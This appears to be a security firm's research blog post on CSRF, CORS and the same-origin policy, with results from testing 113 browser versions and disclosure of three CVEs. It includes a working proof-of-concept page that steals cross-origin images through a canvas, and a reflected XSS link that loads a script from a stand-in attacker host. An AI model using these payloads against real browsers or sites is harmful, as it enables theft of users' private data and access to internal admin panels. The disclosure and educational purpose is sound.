Same-Origin Policy: From birth until today
In this blog post I will talk about Cross-Origin Resource Sharing (CORS) between sites on different domains, and how the web browser’s Same Origin Policy is meant to facilitate CORS in a safe way. I will present data on cross-origin behaviour of various versions of four major browsers, dating back to 2004. I will also talk about recent security bugs (CVE-2018-18511, CVE-2019-5814 and CVE-2019-9797) I discovered in the latest versions of Firefox, Chrome and Opera which allows stealing sensitive images via Cross-Site Request Forgery (CSRF).
Motivation#
An attack…#
Cross-Site Request Forgery (CSRF or XSRF) is arguably one of the most common issues we encounter during web app testing, and one of the trickiest to protect against. The attack goes as follows:
A malicious user, Eve, has an account with bank.example
with account number 123456.
Eve wants to steal money from another customer, Bob, and knows that the
HTTP request Bob would send to bank.example
to transfer $10000 to Eve is as
follows:
So she sets up a page at https://evil-eve.example/how-to-delete-yourself-from-the-internet
with the following contents:
The HTML form on the page corresponds to the POST
request shown above. When Bob
visits Eve’s page, in the hope of erasing past mistakes, the form is
automatically submitted and includes Bob’s PHPSESSID
cookie (if he has logged in
to the bank’s website recently), performing the money transfer.
… and the defence#
There are a few ways websites can protect their users from this type of attack. This article is not meant to explain all of them in detail; OWASP’s cheatsheet does a good job at that, albeit on a technical level. In short, there are two main techniques websites can use to counter CSRF:
- Relying on the browser...
- ...and its Same Origin Policy (SOP); this is the scenario I investigate in this article
- ...by setting cookies with the
SameSite
flag
- Using dynamic pages and generating one-time tokens for each action on the page, every time the page is reloaded.
Option 1.1 only works if the application refuses to accept requests that are sent
via HTML forms (i.e. requests with content type
application/x-www-form-urlencoded
, multipart/form-data
or text/plain
, and
no non-standard HTTP headers). This is because the same origin policy only
applies to actions taken by JavaScript (and other browser-scripting languages).
It does not apply to old-school HTML forms, so browsers can’t do anything to
block HTML form submissions from untrusted domains. Requests containing JSON
data or non-standard headers (e.g. X-Requested-With
) on the other hand can
only be sent via JavaScript. The browser needs to send a so-called “pre-flight
check”, and unless the check determines that the target domain (e.g.
bank.example
) explicitly allows such requests from the origin domain (e.g.
evil-eve.example
), the browser doesn’t send the actual request. bank.example
needs
to respond with appropriate HTTP headers for the same origin policy to be
effective; see section CORS headers.
Option 1.2 will prevent attacks like the one described, but it is supported
only in modern browsers. Furthermore it will not prevent unauthenticated CSRF
attacks to websites which are on an internal network or rely on IP whitelisting
for authorization. The method relies on the legitimate server (bank.example
)
instructing the browser to only include the session cookie if the request is
coming from the same origin, i.e. https://bank.example
. The browser respects this
during HTML form submissions too. This way, money transfers on bank.example
work
correctly, but the form hosted on evil-eve.example
will not include Bob’s session
cookie when submitted, and hence will prevent the transfer from occurring.
Option 2 can be used to prevent CSRF attacks that rely on any HTTP method and
submission type (GET
or POST
; HTML forms or JavaScript), but has many
pitfalls: care needs to be taken to issue, require and validate the token for
every request; the server still needs to implement an appropriate CORS policy
to prevent malicious sites from learning the token; the token needs to be
generated in a cryptographically secure random way, be long enough, short-lived
and tied to the current user’s session (i.e. invalidated upon Log out).
What is CORS, SOP, preflight checks and all this jibberish you’re talking about?#
An origin is defined by a schema (or protocol), hostname and port number, e.g.
https://bank.example:443
. The standard
says two origins are considered the same if and only if all of the below
conditions are met:
- the protocol for both origins is the same, e.g.
https
- the hostname for both origins is the same, e.g.
bank.example
; the hostname can be only partially-qualified (e.g.localhost
); it can also be an IP address 1 - the port number for both origins is the same; the port number does not have
to be explicitly given, i.e.
https://bank.example:443
andhttps://bank.example
are the same origin since 443 is the default port number forhttps
Requests sent from one origin to a different one are called cross-origin requests. Historically browsers flat out refused to allow JavaScript to make cross-origin requests. This was done for security reasons, namely to prevent CSRF. As web applications became more complicated and interconnected the need for JavaScript-initiated cross-origin requests became evident. To enable cross-origin requests in a secure manner the standard for Cross-Origin Resource Sharing (CORS) was introduced.
CORS says that when making cross-origin requests browsers must include the
Origin
header and not include cookies unless explicitly requested, for
example if the request had set
XMLHttpRequest.withCredentials
to true
.
Additionally, CORS defines the concept of a simple request. A request is simple if all of these are true:
- the method is
GET
,HEAD
orPOST
- the request does not include non-standard headers
- it submits content of type
application/x-www-form-urlencoded
,multipart/form-data
ortext/plain
(those that can be submitted via HTML forms)
If the request is simple, the browser can send the request to the external
origin, but if the server’s CORS policy does not allow the request the browser
must not allow JavaScript to read the response. If the request is not simple,
the browser must do a preflight check (OPTIONS
HTTP method) with appropriate
CORS headers. If the server’s CORS policy does not explicitly allow the
request, then it must refuse to send the actual request.
Servers receiving cross-origin requests must respond with appropriate CORS
headers indicating whether the request is allowed; this is done irrespective of
whether the request is a preflight check (OPTIONS
) or the actual request
(e.g. GET
).
CORS headers#
If no preflight check is done browsers are only required to send the Origin
header. Otherwise the preflight check should have an empty body, include no
cookies, and include the Access-Control-Request-Method
header with the
method of the request to be made, e.g. GET
. Additionally, if non-standard
headers are to be included, it must include these as a comma-separated list in
the Access-Control-Request-Headers
header.
Servers should respond to a cross-origin request with the following headers:
Access-Control-Allow-Origin
: either a single allowed origin or a wildcard (*
) indicating all origins; servers may change the value depending on theOrigin
of the requestAccess-Control-Allow-Credentials
: indicating if the browser is allowed to send cookies with the request; if omitted, defaults tofalse
; cannot betrue
ifAccess-Control-Allow-Origin
is*
Access-Control-Allow-Headers
: comma-separated list of allowed headers
A picture table says a thousand words:
Request is simple | Server allows | Browsers must | ||
---|---|---|---|---|
Origin | Credentials | Do preflight | Give JavaScript access | |
Yes | {not as requested} | No | No | No |
Yes | ||||
* | No | Yes, if no cookies needed | ||
Yes | ||||
{as requested} | No | |||
Yes | Yes | |||
No | {not as requested} | No | Yes | No |
Yes | ||||
* | No | Yes, if no cookies needed | ||
Yes | ||||
{as requested} | No | |||
Yes | Yes |
Why GET should be “safe”#
The preflight checks by browsers and their SOP make sure that requests which
may modify sensitive data, such as DELETE
, PUT
, PATCH
and non-simple
POST
requests will never be sent to the server from a third-party domain,
unless the server explicitly allows such a request from this particular
third-party domain.
You may then wonder why browsers don’t apply the same rules to GET
requests.
After all, some servers implement, or at least allow, sensitive data operations
using GET
requests. Take this hypothetical example: a Like button on a social
media site (let’s call it FakeBook) which is placed under a page and links to
https://fakebook.example/like?page=HTTPSEverywhere
. When a user clicks on the
button in order to like the page, the browser will send a GET
request to that
URL, and will include the user’s session cookie, so that the server knows which
user has liked this page. This is a classic CSRF which the browser can’t do
anything about. Bob, who is logged in to his FakeBook account, goes to
windywellington.example
to check the weather. windywellington.example
is actually
a malicious site which wants to collect likes on FakeBook and redirects Bob
back to https://fakebook.example/like?page=WindyWellington
. As far as the browser
is concerned there is nothing wrong with that, as there are many legitimate
cases which use redirection to third-party domains. And as far as
fakebook.example
is concerned Bob may have clicked that Like button himself.
Blocking external Referer
or using tokens won’t work if Like buttons are to be
integrated with other sites.
So what could SOP do about GET
requests? Pretty much nothing. Browsers are not
supposed to block redirects by default. And there are many other ways
windywellington.example
can trick the browser into requesting a resource from
fakebook.example
, not limited to:
- embedding
https://fakebook.example/like?page=WindyWellington
in an iframe 2 - loading it as a script, image or any other resource
- using an HTML form with the
GET
method
In none of those cases can either the browser or fakebook.example
detect the
malicious intent. This is why the HTTP
standard clearly states
that GET
requests should always be “safe”, i.e. never change web application
data. And this is also the reason why browsers are not required to submit
a preflight check for GET
requests. Unfortunately many websites neglect this
and fall victim to CSRF attacks like the hypothetical Like button scenario.
(note: facebook.com
is not vulnerable in this way).
SOP behaviour across browsers#
Browsers tested#
I tested 17 versions of Opera, 16 versions of Firefox, 40 versions of Chrome, 39 versions of Internet Explorer, and one version of Microsoft Edge. A total of 113 browsers, dating back to 2004.
All browsers were tested using their default settings.
Full list of browsers tested and sources used
Opera
I tested one version per year as far back as it supports
XMLHttpRequest
:- Opera 7.50 build 3778 (May 2004)
- Opera 8.50 build 7700 (Sep 2005)
- Opera 9.00 build 8501 (Jun 2006)
- Opera 9.20 build 8771 (Apr 2007)
- Opera 9.60 build 10447 (Oct 2008)
- Opera 10.00 build 1750 (Sep 2009)
- Opera 10.10 build 1893 (Nov 2009)
- Opera 10.50 build 3296 (Mar 2010)
- Opera 11.00 build 1156 (Dec 2010)
- Opera 11.52 build 1100 (Oct 2011)
- Opera 12.10 build 1652 (Nov 2012)
- Opera 17.0.1241.45 (Oct 2013)
- Opera 24.0.1558.53 (Sep 2014)
- Opera 32.0.1948.25 (Sep 2015)
- Opera 40.0.2308.54 (Sep 2016)
- Opera 48.0.2685.32 (Sep 2017)
- Opera 56.0.3051.116 (Sep 2018)
Firefox
I tested roughly one version per year (except version 1.5 from 2005, due to technical issues running the binary) as far back as version 1.0:
- Firefox 1.0 (Nov 2004)
- Firefox 2.0 (Oct 2006)
- Firefox 3.0 (Jun 2008)
- Firefox 3.5 (Jun 2009)
- Firefox 3.6 (Jan 2010)
- Firefox 4.0 (Mar 2011)
- Firefox 5.0 (Jun 2011)
- Firefox 10.0 (Jan 2012)
- Firefox 18.0 (Jan 2013)
- Firefox 27.0 (Feb 2014)
- Firefox 35.0 (Jan 2015)
- Firefox 44.0 (Jan 2016)
- Firefox 52.0 (Mar 2017)
- Firefox 58.0 (Jan 2018)
- Firefox 63.0 (Oct 2018)
- Firefox 65.0 (Jan 2019)
Chrome (Chromium)
I used the ready Windows builds from Chromium's continuous and snapshots builds archive. I did not test stable releases in particular, as the build archives do not indicate which version a build corresponds to. I instead selected one out of roughly every 2000 builds, from the oldest to the newest. The date shown below is approximate as it corresponds to the release date of the corresponding stable major version:
- Chrome 0.2.150.0 (build 1625, Sep 2008)
- Chrome 0.3.155.0 (build 4054, Oct 2008)
- Chrome 0.5.155.0 (build 6573, Dec 2008)
- Chrome 2.0.157.0 (build 8000, May 2009)
- Chrome 2.0.160.0 (build 9018, May 2009)
- Chrome 2.0.165.0 (build 10008, May 2009)
- Chrome 2.0.173.0 (build 13007, May 2009)
- Chrome 2.0.178.0 (build 15037, May 2009)
- Chrome 3.0.187.0 (build 18037, Oct 2009)
- Chrome 4.0.205.0 (build 25013, Jan 2010)
- Chrome 5.0.338.0 (build 40103, May 2010)
- Chrome 7.0.501.0 (build 56985, Oct 2010)
- Chrome 13.0.772.0 (build 86075, Aug 2011)
- Chrome 16.0.906.0 (build 105136, Dec 2011)
- Chrome 18.0.998.0 (build 116631, Mar 2012)
- Chrome 20.0.1103.0 (build 132352, Jun 2012)
- Chrome 21.0.1169.0 (build 141354, Jul 2012)
- Chrome 23.0.1232.0 (build 150969, Nov 2012)
- Chrome 24.0.1294.0 (build 161613, Jan 2013)
- Chrome 26.0.1401.0 (build 180186, Mar 2013)
- Chrome 29.0.1539.0 (build 206377, Aug 2013)
- Chrome 31.0.1631.0 (build 223221, Nov 2013)
- Chrome 34.0.1758.0 (build 242345, Apr 2014)
- Chrome 37.0.2046.0 (build 276657, Aug 2014)
- Chrome 40.0.2199.0 (build 301085, Jan 2015)
- Chrome 42.0.2290.0 (build 313413, Apr 2015)
- Chrome 44.0.2386.0 (build 327302, Jul 2015)
- Chrome 46.0.2485.0 (build 343611, Oct 2015)
- Chrome 49.0.2586.0 (build 363859, Mar 2016)
- Chrome 51.0.2683.0 (build 381909, May 2016)
- Chrome 52.0.2716.0 (build 389148, Jul 2016)
- Chrome 55.0.2860.0 (build 418349, Dec 2016)
- Chrome 58.0.3008.0 (build 449389, Apr 2017)
- Chrome 61.0.3142.0 (build 482288, Sep 2017)
- Chrome 64.0.3279.0 (build 519221, Jan 2018)
- Chrome 67.0.3387.0 (build 547516, May 2018)
- Chrome 69.0.3480.0 (build 571853, Sep 2018)
- Chrome 71.0.3549.0 (build 590119, Dec 2018)
- Chrome 72.0.3617.0 (build 609737, Jan 2019)
- Chrome 74.0.3695.0 (build 629061, Jan 2019)
Win_x64/
) or download the portable version of a given build (e.g.
Win/10008
).Internet Explorer
I tested every major version of Internet Explorer as far back as it supports
XMLHttpRequest
. IE11 on Windows 10 behaves differently to IE11 on older
Windows versions, even with the latest patches applied to them. I tested three
versions of IE11 on Windows 10, one on Windows 7, and all 31 versions of IE11
on Windows 8.1 (initial + the
30 cumulative updates for it)- IE 7.0.6002.18005 (Windows Vista, 2006)
- IE 8.0.7601.17514 (Windows 7, Mar 2009)
- IE 9.0.8112.16421 (Windows 7, Mar 2011)
- IE 10.0.9200.17609 (Windows 7, Jan 2016, KB3124275, MS16-001)
- IE 11.0.9600.18860(Windows 7, Dec 2017, KB4052978)
- IE 11.0.XXXX.XXXXX (Windows 8.1, initial + all 30 updates from April 2016 to Jan 2019)
- IE 11.1.17134.0 (Windows 10, Oct 2017, KB4040685)
- IE 11.407.17134.0 (Windows 10, Nov 2018, KB4466536)
- IE 11.471.17134.0 (Windows 10, Dec 2018, KB4470199)
Microsoft Edge
I tested only one recent version of Microsoft Edge:
- Microsoft Edge 42.17134.1.0 (Apr 2018)
Test setup#
I wrote an HTTP server
based on Python’s http.server, and
some supporting HTML/JavaScript. The server implements a dummy login and requires
a cookie issued by it for requests to any file under /secret/
.
The CORS headers to be included in the server’s response to each request are taken from URL parameters in that request. Supported parameters:
creds
: should be 0 or 1 requestingAccess-Control-Allow-Credentials: true
orfalse
origin
: specifiesAccess-Control-Allow-Origin
; it is taken literally unless it is{ECHO}
, then it is taken from theOrigin
header in the request.
/demos/sop/getSecret.html
will prompt for the target origin (should be
different to the one it’s loaded from), then log in to it, and fetch
https://<target_host>/secret/<secret file>?origin=...&creds=...
requesting each one of the five CORS combinations described below; and it will
do so using each the eight cross-origin request methods described below.
Server CORS modes#
Each request was submitted 5 times: each time the server was configured to
reply with one of the five Access-Control-Allow-*
header combinations:
Origin | Credentials |
No | |
* | No |
Yes | |
{as requested} | No |
Yes |
where “{as requested}” means the server specifically allowed the origin
the request came from, “Yes” indicates true
value of the header,
“No”—false
Cross-origin request methods#
Each browser was tested with the following 8 cross-origin request methods:
Method | Body Content-Type or embedded as | Request is simple | Require cookies? | Response data taken from |
---|---|---|---|---|
GET via XHR | — | Yes | Yes | responseText |
POST via XHR | application/json | No | Yes | responseText |
Sample code for | ||||
GET via iFrame3 | N/A | Yes | No | contentDocument.body.innerHTML |
Sample code for | ||||
GET via object3 | text/plain | Yes | No | contentDocument.body.innerHTML |
Sample code for | ||||
GET via 2D canvas | N/A | Yes | Yes | toDataURL() |
No | ||||
Sample code for 2D | ||||
GET via bitmap canvas | N/A | Yes | Yes | toDataURL() |
No | ||||
Sample code for bitmap |
Exceptions for GET
method via iFrame and object 3.
Requested targets#
Where the request method used a canvas the “secret” file was an image. Otherwise the file was a plain text file.
Each test was done twice: once to an origin with a different hostname (IP address of a different interface on the same machine), and once to an origin with the same hostname/IP address but different port number. This makes for a total of 8 × 5 × 2 = 80 tests per browser.
Results#
Below is a summary of those browsers which send the request and/or allow JavaScript to read the response when they shouldn’t. For the full list of every request, see the current result tables for cross-origin requests to different hostnames and same hostnames/different ports.
When target origin differs by hostname#
When the target origin had a different hostname, most browsers were either compliant, or forbid the request, which is the safe fallback if CORS is not supported.
A notable exception are the currently latest versions of Chrome, Firefox and Opera, which allow JavaScript to read so-called “tainted” canvases. These are canvases rendered from an image which has not been loaded for cross-origin use, i.e. no crossorigin attribute was given. I discovered the bug (CVE-2018-18511) while doing this research and reported it to Google and Mozilla.
In addition, a few very old versions of Chrome do not apply the CORS policy to
XMLHttpRequest
s.
(In this and in any following tables, the highlighted cells indicate behaviour that does not conform to the specification).
Browsers | Methods | Server allowed | Browser did | ||
---|---|---|---|---|---|
Origin | Credentials | Preflight for POST | Give JavaScript access | ||
Chrome 67.0 Chrome 69.0 Chrome 71.0 Chrome 72.0 Chrome 74.0 Firefox 65.0 Opera 56.0 | GET via bitmap canvas (no CORS) | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Chrome 2.0.165.0 | GET via XHR POST via XHR | No | No | No | |
* | No | Yes | |||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Chrome 2.0.173.0 | GET via XHR POST via XHR | No | Yes | No | |
* | No | Yes | |||
Yes | |||||
{as requested} | No | ||||
Yes | Yes |
When target origin differs only by port number#
In addition to the vulnerable browsers listed in Table 4, when the target origin differed only in port number, all versions of Internet Explorer and Edge including the latest ones, had an unsafe SOP policy.
Interestingly, Edge allows exporting of tainted bitmap canvases only in this case, when the origins are on the same host.
Browsers | Methods | Server allowed | Browser did | ||
---|---|---|---|---|---|
Origin | Credentials | Preflight for POST | Give JavaScript access | ||
Internet Explorer 11 (<= Windows 8.1) Internet Explorer 10 Internet Explorer 9 Internet Explorer 8 Opera 9.00 | GET via XHR POST via XHR | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Chrome 2.0.165.0 | GET via XHR POST via XHR | No | No | No | |
* | No | Yes | |||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Chrome 2.0.173.0 | GET via XHR POST via XHR | No | Yes | No | |
* | No | Yes | |||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Internet Explorer 8 Internet Explorer 7 | GET via iFrame | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 | GET via object | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Chrome 67.0 Chrome 69.0 Chrome 71.0 Chrome 72.0 Chrome 74.0 Firefox 65.0 Opera 56.0 Microsoft Edge 42 Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Opera 9.60 Opera 9.20 Opera 9.00 | GET via bitmap canvas (no CORS) | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes | ||||
Internet Explorer 11 Internet Explorer 10 Internet Explorer 9 Opera 9.60 Opera 9.20 Opera 9.00 | GET via 2D canvas (CORS) | No | No | Yes | |
* | No | ||||
Yes | |||||
{as requested} | No | ||||
Yes | Yes |
Implications#
There are two main issues to discuss here.
Issue 1: Exporting of tainted canvases#
Sometime in 2018 a bug was introduced in Chrome, Firefox as well as Opera, which allowed rendering any image to a bitmap canvas and exporting it.
This is a serious issue since the browser sends the cookies it has for a domain
when loading images from that domain. For example, if a user, while logged in
to their account at bank.example
, visits an attacker’s page, the page can steal
any sensitive images the user has access to. All the attacker needs is the URL
of the image. The image can be anything—from a personal photo or a
scanned document, to the QR code for a two factor-authentication secret. It is an
example of cross-site request forgery where it was up to the browser, and not
the server, to prevent it.
Google didn’t make fixing the issue a priority as it was not exploitable due to
another bug in
Chrome:
toDataURL()
and toBlob()
give a generic transparent image for bitmap
canvases. They did eventually fix it, and subsequently the other bug, which was
giving a transparent image for a bitmap context. They assigned my bug
CVE-2019-5814.
Mozilla fixed the bug within days and pushed an
update.
Days after that I discovered an alternative
way
(CVE-2019-9797) of getting the
image: again by converting it to an ImageBitmap
, but then rendering it in
a 2D canvas instead of a bitmap canvas:
<html><body>
<script charset="utf-8">
function getData() {
createImageBitmap(this, 0, 0, this.naturalWidth,
this.naturalHeight).then(function(bmap) {
var can = document.createElement('canvas');
// mfsa2019-04 fixed this
// --------------------------
// var ctx = can.getContext('bitmaprenderer');
// ctx.transferFromImageBitmap(bmap);
// --------------------------
// but not this
var ctx = can.getContext('2d');
ctx.drawImage(bmap, 0, 0);
document.getElementById('result').textContent = can.toDataURL();
var img = document.getElementById('result_render');
img.src = can.toDataURL();
document.body.appendChild(img);
}); }
</script>
<img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
<br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
<br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>
Mozilla were again quick to fix it. The fix made it into the stable branch on April 1st.
Chrome is not vulnerable to this version of the exploit.
Issue 2: IE and Edge’s same-origin policy when it comes to origins on the same host#
It is clear that Internet Explorer and Edge do not consider origins on the same host but different ports distinct, at least not as distinct as origins with different hostnames. This is not a new issue, or an accidental neglect by Microsoft. The Mozilla Developer Guide is quite clear on the fact that:
Internet Explorer has two major exceptions to the same-origin policy:
- Trust Zones: If both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied.
- Port: IE doesn’t include port into same-origin checks. Therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied.
It also clearly points out that:
These exceptions are nonstandard and unsupported in any other browser.
The behaviour of modern Internet Explorer and Edge is striking for several reasons:
- The changes introduced for Windows 10 do improve the security of IE, but have
been applied inconsistently and insufficiently:
- They are not available for older Windows versions, even though security updates are still being issued for them.
- They close the loophole in
XMLHttpRequest
, but still allow cross-origin access viaiframe
; data from another origin can also be stolen usingobject
.
- It clearly violates the standard which has been set long ago, and which all other browsers conform to, and conform to for a good reason.
I do not know the reasoning behind their same origin policy, but the implications are not negligible. We often see multiple HTTP services on the same host. Usually one is a standard public site (on ports 80 and 443), another one may be an administrative interface, not accessible publicly. Treating these as a single origin exposes every service on the host to attacks should even one of them be compromised.
Consider a hypothetical example: a simple public website, which holds no
sensitive data, nor implements authentication. It is likely that not a lot of
attention would be paid to its secure implementation as it does not appear to be
a valuable target for attackers. Let’s say a page on the site,
/vulnerable.html
, is vulnerable to a reflected Cross-Site Scripting
(XSS)
attack. An attacker can trick the developer of the site into visiting the
following link
http://localhost/vulnerable.html?search=<script%20src%3d"%2f%2fattacker.example%2fevil.js"><%2fscript>
The vulnerable page will reflect the search
parameter and in this way load
a script from http://attacker.example/evil.js
. The JavaScript will execute in the
context of the page, localhost
, as if it has been hosted on the site. Any
requests made by it will come from origin http://localhost
.
Imagine there is a sensitive administrative panel on the same host, port
8080
, which is not accessible from the public network, and does not allow
cross-origin requests. If the developer who’s fallen victim to the reflected
XSS is using Internet Explorer or Edge, then evil.js
from attacker.example
will
have full access to the panel. In particular:
- if the developer is not logged in to the admin panel: it may attempt to brute force accounts on the administrative panel
- if the developer is logged in to the admin panel: it can get any data from it or take any action at the level of privilege of the developer
I leave it to the reader to reach their conclusion. Mine would be “do not use IE or Edge”.
Tools used#
- My (not so) simple (anymore) HTTP server, based on Python’s simple HTTP server
- VMware Fusion, for running all of the browsers
- Official Microsoft virtual machines
References#
- OWASP’s CSRF prevention cheatsheet
- The Web Origin Concept
- The Cross-origin resource sharing (CORS) standard
- The HTTP standard
- Simple HTTP requests
Disclaimer#
The information in this article is provided for research and educational purposes only. Aura Information Security does not accept any liability in any form for any direct or indirect damages resulting from the use of or reliance on the information contained in this article.
If however it is a hostname, the browser doesn’t make sure it resolves to the same IP address during different requests; see DNS Rebinding attack ↩︎
Even if
fakebook.example
prevents this usingX-Frame-Options
, theGET
request is already sent ↩︎iframe
andobject
don’t support CORS, so the browser should always refuse access, even if the server would allow aGET
for this resource. ↩︎